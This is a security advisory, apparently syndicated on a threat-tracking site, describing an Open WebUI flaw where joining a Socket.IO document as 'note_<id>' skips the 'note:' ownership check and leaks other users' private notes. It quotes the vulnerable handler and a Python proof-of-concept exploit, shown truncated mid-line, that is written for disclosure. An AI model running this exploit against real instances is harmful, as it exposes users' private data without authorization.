Technologyglobalverified · 90%

Open WebUI: Any authenticated user can read other users' private notes via Socket.IO

When
Where
Global (internet)
Category
cyber_advisory · pip

### Summary The `ydoc:document:join` Socket.IO handler checks note ownership only when the `document_id` starts with `note:` (colon). However, the `YdocManager` storage layer normalizes all document IDs by replacing colons with underscores (`document_id.replace(":", "_")`). An attacker can join a document room using `note_<id>` (underscore) instead of `note:<id>` (colon), bypassing the authorization check entirely while accessing the same underlying Yjs document. The server then returns the full document state, leaking the victim's private note contents. ### Details The `ydoc:document:join` handler in `socket/main.py` (line 511) only performs authorization for document IDs matching the `note:` prefix: ```python @sio.on("ydoc:document:join") async def ydoc_document_join(sid, data): document_id = data["document_id"] if document_id.startswith("note:"): note_id = document_id.split(":")[1] note = Notes.get_note_by_id(note_id) # ... ownership and AccessGrants check ... # Returns early if user doesn't have access # If document_id does NOT start with "note:", execution continues # with no authorization check at all await YDOC_MANAGER.add_user(document_id=document_id, user_id=sid) await sio.enter_room(sid, f"doc_{document_id}") ydoc = Y.Doc() updates = await YDOC_MANAGER.get_updates(document_id) for update in updates: ydoc.apply_update(bytes(update)) state_update = ydoc.get_update() await sio.emit("ydoc:document:state", { "document_id": document_id, "state": list(state_update), }, room=sid) ``` The `YdocManager` class in `socket/utils.py` normalizes document IDs in every method by replacing colons with underscores: ```python async def get_updates(self, document_id: str) -> List[bytes]: document_id = document_id.replace(":", "_") # line 176 # ... returns updates keyed by normalized ID async def append_to_updates(self, document_id: str, update: bytes): document_id = document_id.replace(":", "_") # line 134 # ... stores update keyed by normalized ID ``` This means `note:abc123` and `note_abc123` resolve to the same storage key (`note_abc123`). When a victim opens their note, the Yjs document is stored under the normalized key. An attacker can then request the same document using the underscore variant, which skips the `startswith("note:")` authorization check but retrieves the same data from `YdocManager`. ### PoC ```python #!/usr/bin/env python3 """ uv run --no-project --with requests --with "python-socketio[asyncio_client]" --with aiohttp --with pycrdt finding_15_yjs_note_disclosure.py --base-url BASE_URL --attacker-email EMAIL --attacker-password PASS --victim-email EMAIL --victim-password PASS Finding #15 — Any authenticated user can read other users' private notes via Socket.IO SUMMARY: The ydoc:document:join Socket.IO handler only checks authorization for document IDs starting with "note:" (colon). However, YdocManager normalizes document IDs by replacing colons with underscores internally. An attacker can join a room using "note_<id>" (underscore) to bypass the auth check, while still accessing the same underlying Yjs document as "note:<id>". Then ydoc:document:state returns the full document content. VULNERABLE CODE: backend/open_webui/socket/main.py, ydoc:document:join: if document_id.startswith("note:"): # permission check only for colon-prefix # "note_<id>" skips this check entirely backend/open_webui/socket/ydoc.py, YdocManager: key = document_id.replace(":", "_") # normalizes to same storage key IMPACT: Any authenticated user can read the full content of any other user's notes by exploiting the namespace collision between "note:" and "note_" prefixes. REPRODUCTION: 1. Victim creates a private note with sensitive content. 2. Attacker connects via Socket.IO and authenticates. 3. Attacker joins room with document_id "note_<victim_note_id>" (underscore). 4. Attacker requests ydoc:document:state to get the full note content. REQUIREMENTS: - Running Open WebUI instance - A victim note with content - Attacker user (any authenticated user) """ import argparse import asyncio import sys import requests import socketio async def victim_initialize_note(base, victim_token, note_id): """Simulate victim opening the note in the UI to initialize the Yjs document.""" sio = socketio.AsyncClient() await sio.connect( base, socketio_path="/ws/socket.io", headers={"Authorization": f"Bearer {victim_token}"}, transports=["websocket"], ) # Join using the proper note:id format (passes auth check since victim owns it) doc_id = f"note:{note_id}" print(f" Joining as victim with document_id: {doc_id}") await sio.emit("ydoc:document:join", { "document_id": doc_id, "user_id": "victim", "user_name": "Victim", }) await asyncio.sleep(1) # Send a Yjs update with the note content # Create a simple Yjs document with text content try: import pycrdt as Y ydoc = Y.Doc() ytext = ydoc.get("default", type=Y.Text) with ydoc.transaction(): ytext += "# Private Notes\n\nPassword for production DB: p@ssw0rd_pr0d_2026\nAWS root account: admin@company.com / SuperSecret!23\n\nDo NOT share this with anyone." update = ydoc.get_update() await sio.emit("ydoc:document:update", { "document_id": doc_id, "update": list(update), }) print(f" Sent Yjs update with note content ({len(update)} bytes)") except ImportError: # If pycrdt not available, try y-py try: import y_py as Y ydoc = Y.YDoc() ytext = ydoc.get_text("default") with ydoc.begin_transaction() as txn: ytext.extend(txn, "# Private Notes\n\nPassword for production DB: p@ssw0rd_pr0d_2026\nAWS root account: admin@company.com / SuperSecret!23\n\nDo NOT share this with anyone.") update = txn.get_update() await sio.emit("ydoc:document:update", { "document_id": doc_id, "update": list(update), }) print(f" Sent Yjs update with note content ({len(update)} bytes)") except ImportError: print(" WARNING: Neither pycrdt nor y-py available, sending raw text marker") # Send a minimal marker that we can detect raw_update = list(b"\x01\x00\x00\x00\x00\x00\x00SECRET_NOTE_CONTENT_MARKER") await sio.emit("ydoc:document:update", { "document_id": doc_id, "update": raw_update, }) await asyncio.sleep(1) await sio.disconnect() print(f" Victim disconnected") async def exploit(base, attacker_token, victim_note_id): sio = socketio.AsyncClient() result = {"state": None, "error": None, "joined": False} @sio.on("ydoc:document:state") async def on_state(data): result["state"] = data print(f" [!] Received ydoc:document:state event!") print(f" document_id: {data.get('document_id', '?')}") state = data.get("state", []) print(f" State size: {len(state)} bytes") @sio.on("error") async def on_error(data): result["error"] = data print(f" [!] Error event: {data}") @sio.on("*") async def catch_all(event, data): if event not in ("ydoc:document:state", "error"): print(f" [debug] Event: {event} Data: {str(data)[:200]}") # Connect with auth token print(f"[*] Connecting as attacker to Socket.IO...") await sio.connect( base, socketio_path="/ws/socket.io", auth={"token": attacker_token}, transports=["websocket"], ) # Join with "note_" prefix (underscore — bypasses auth) bypass_doc_id = f"note_{victim_note_id}" p

Sources

Defaxon links out to the original reporting and never republishes article text.

Correlated events

Computed by the Defaxon correlation engine — linked by shared actors, co-location, and temporal proximity. Scored hypotheses, never causal claims.

← Back to the live map